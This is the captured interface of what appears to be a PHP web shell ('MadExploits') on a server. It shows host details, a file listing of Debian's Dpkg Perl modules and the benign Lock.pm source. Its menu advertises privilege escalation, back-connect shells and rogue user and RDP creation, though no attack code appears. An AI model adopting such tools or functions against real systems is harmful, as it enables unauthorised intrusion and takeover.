Linux e000727e84fa 5.4.0-208-generic #228-Ubuntu SMP Fri Feb 7 19:41:33 UTC 2025 x86_64
Apache/2.4.62 (Debian)
: 192.168.16.2 | : 192.168.16.1
Cant Read [ /etc/named.conf ]
8.2.27
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Dpkg /
[ HOME SHELL ]
Name
Size
Permission
Action
Build
[ DIR ]
drwxr-xr-x
Changelog
[ DIR ]
drwxr-xr-x
Compression
[ DIR ]
drwxr-xr-x
Control
[ DIR ]
drwxr-xr-x
Deps
[ DIR ]
drwxr-xr-x
Dist
[ DIR ]
drwxr-xr-x
Interface
[ DIR ]
drwxr-xr-x
OpenPGP
[ DIR ]
drwxr-xr-x
Shlibs
[ DIR ]
drwxr-xr-x
Source
[ DIR ]
drwxr-xr-x
Vendor
[ DIR ]
drwxr-xr-x
Arch.pm
14.77
KB
-rw-r--r--
BuildEnv.pm
2.18
KB
-rw-r--r--
BuildFlags.pm
14.48
KB
-rw-r--r--
BuildInfo.pm
2.87
KB
-rw-r--r--
BuildOptions.pm
6.16
KB
-rw-r--r--
BuildProfiles.pm
3.42
KB
-rw-r--r--
BuildTypes.pm
5.96
KB
-rw-r--r--
Changelog.pm
20.23
KB
-rw-r--r--
Checksums.pm
10.97
KB
-rw-r--r--
Compression.pm
11.96
KB
-rw-r--r--
Conf.pm
5.78
KB
-rw-r--r--
Control.pm
7.14
KB
-rw-r--r--
Deps.pm
14.61
KB
-rw-r--r--
ErrorHandling.pm
5.17
KB
-rw-r--r--
Exit.pm
2.43
KB
-rw-r--r--
File.pm
1.81
KB
-rw-r--r--
Getopt.pm
1.21
KB
-rw-r--r--
Gettext.pm
5.91
KB
-rw-r--r--
IPC.pm
11.6
KB
-rw-r--r--
Index.pm
11.44
KB
-rw-r--r--
Lock.pm
1.87
KB
-rw-r--r--
OpenPGP.pm
3.74
KB
-rw-r--r--
Package.pm
1.26
KB
-rw-r--r--
Path.pm
8.71
KB
-rw-r--r--
Shlibs.pm
5.16
KB
-rw-r--r--
Substvars.pm
11.57
KB
-rw-r--r--
Vars.pm
1.42
KB
-rw-r--r--
Vendor.pm
8.75
KB
-rw-r--r--
Version.pm
12.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Lock.pm
# Copyright © 2011 Raphaël Hertzog <hertzog@debian.org> # Copyright © 2012 Guillem Jover <guillem@debian.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. package Dpkg::Lock; use strict; use warnings; our $VERSION = '0.01'; our @EXPORT = qw( file_lock ); use Exporter qw(import); use Fcntl qw(:flock); use Dpkg::Gettext; use Dpkg::ErrorHandling; sub file_lock($$) { my ($fh, $filename) = @_; # A strict dependency on libfile-fcntllock-perl being it an XS module, # and dpkg-dev indirectly making use of it, makes building new perl # package which bump the perl ABI impossible as these packages cannot # be installed alongside. eval q{ pop @INC if $INC[-1] eq '.'; use File::FcntlLock; }; if ($@) { # On Linux systems the flock() locks get converted to file-range # locks on NFS mounts. if ($^O ne 'linux') { warning(g_('File::FcntlLock not available; using flock which is not NFS-safe')); } flock($fh, LOCK_EX) or syserr(g_('failed to get a write lock on %s'), $filename); } else { eval q{ my $fs = File::FcntlLock->new(l_type => F_WRLCK); $fs->lock($fh, F_SETLKW) or syserr(g_('failed to get a write lock on %s'), $filename); } } } 1;
Close
